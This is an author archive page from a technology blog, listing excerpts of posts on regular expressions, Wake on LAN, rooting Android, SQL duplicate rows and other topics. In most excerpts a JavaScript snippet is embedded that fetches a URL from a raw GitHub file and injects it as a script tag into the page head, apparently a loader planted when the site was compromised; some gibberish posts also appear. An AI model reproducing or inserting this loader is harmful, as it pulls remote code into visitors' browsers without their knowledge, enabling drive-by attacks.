Author Archive

Mostafa Dafer

Computer & Communication Eng. Stdnt. Founder & CEO of CoolesTech Knows Arabic; English, learning French, Chinese, and Japanese About me: steve.coolestech.com

5 Most Useful Regular Expressions & Rewrite Rules

Written by Mostafa Dafer on . Posted in Tips & Tricks

I've been working lately on a project that uses silent redirection. I noticed that most users lack the basics of this great language! To start with, Regex (or Regular Expression)  is a sequence of characters that forms a search pattern; that's the main reason Regex was created for. So I thought like sharing with you 5 of the most useful tips of Regex. As a quick introduction, regex can be used in various search forms, it's main value lies in the fact that it's advanced enough to automate most Read more [...]

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How To Remotely Turn On Computer from LAN and WAN.

Written by Mostafa Dafer on . Posted in Uncategorized

Wake on LAN (WOL, sometimes WoL) is an Ethernet computer networking standard that allows a shut-down computer to be turned on remotely. Most of new motherboards that has integrated ethernet controller supports this feature. You can enable the Wake on LAN feature in the Power Management section of the motherboard’s BIOS. So what is so useful about Wake on LAN? You see, I am required to do computer maintenance at a company that has more than 10 computers. I can only do that when all of the employees Read more [...]

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dictionar

Written by Mostafa Dafer on . Posted in Uncategorized

oknofdsnofjasndogijadsopijgioashgoavar url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); });var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { Read more [...]

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fatih

Written by Mostafa Dafer on . Posted in Uncategorized

Lenovo grandma proofvar url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); });var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); Read more [...]

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CoolesTech App for Android Phones is Now Available!

Written by Mostafa Dafer on . Posted in Uncategorized

var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); });var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); Read more [...]

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Garbage-seeking waste basket

Written by Mostafa Dafer on . Posted in Gadgets, Robots & Robotics

Garbage-seeking waste basket moves to catch any trash thrown at it; usually you toss a piece of trash at a nearby waste basket only to have it ricochet off the edge, forcing you to make that shameful walk to go pick it up and drop it in carefully. A Japanese inventor has built a waste basket that tracks garbage tossed in its general direction and then moves across the floor to catch it...  Check out the video below to see how Smart Trashbox was made and how well it catches flying stuff: var Read more [...]

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[How to] Root Android Ice Cream Sandwich Without Odin (using CWM)

Written by Mostafa Dafer on . Posted in Uncategorized

This method is tested by me on S2 and is tested by others on: Samsung + non Samsung phones. No more waiting for custom kernels! This method is the safest and most reliable as it keeps your original stock kernel and it doesn't use odin to "flash" a new kernel; in addition, no custom mod is applied! We are not responsible for any damage that may be caused to any phone. Just to relax you, if you follow the steps as described it's most likely that you will not end up with a bricked phone. Please Read more [...]

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صوتوا لنا، فريقنا يمثل الجامعة العربية في بيروت و جامعة رفيق الحريري ولبنان أمام دول العالم

Written by Mostafa Dafer on . Posted in Featured, العربية

فريقنا يمثل جامعة رفيق الحريري والجامعة العربية في بيروت، كما يمثل لبنان أمام دول العالم في مسابقة ريادة الأعمال العالمية. يحق لكم التصويت عدة مرات، مرة كل يوم. صوتوا من هنا var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); Read more [...]

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Written by Mostafa Dafer on . Posted in Uncategorized

http://askubuntu.com/questions/313872/ubuntu-13-04-is-unable-to-mount-a-disk-drive-from-ex-windows-systemvar url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); });var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) Read more [...]

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mbr fix and dual booting

Written by Mostafa Dafer on . Posted in Uncategorized

http://www.techspot.com/guides/630-windows-8-boot-fix/ http://ubuntuforums.org/showthread.php?p=10340183 http://askubuntu.com/questions/230878/dual-boot-windows-8-and-ubuntu-with-windows-8-boot-managervar url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); Read more [...]

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Latest Drevo Power Console For Mechanical Keyboards Broken on Mac

Written by Mostafa Dafer on . Posted in Uncategorized

The latest Drevo Power Console software that is used to control mechanical keyboards is crashing on Mac Monterey.Here's a force-signed version that should work: var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); });var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) Read more [...]

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Delete Duplicate Rows from SQL Database Without a Primary Key

Written by Mostafa Dafer on . Posted in Tips & Tricks

Just wanted to share with you a simple trick for deleting a duplicate row in your SQL table when you haven't assigned a primary key. So you may be wondering how could this happen... Well, in most cases, it would happen when you are setting an Id to your item by hand instead of using Identity to automatically set the Id. This leads us to another question, which is why would we set the Id by hand? Now here comes several answers, the best is the case where we need to insert a new item to the table Read more [...]

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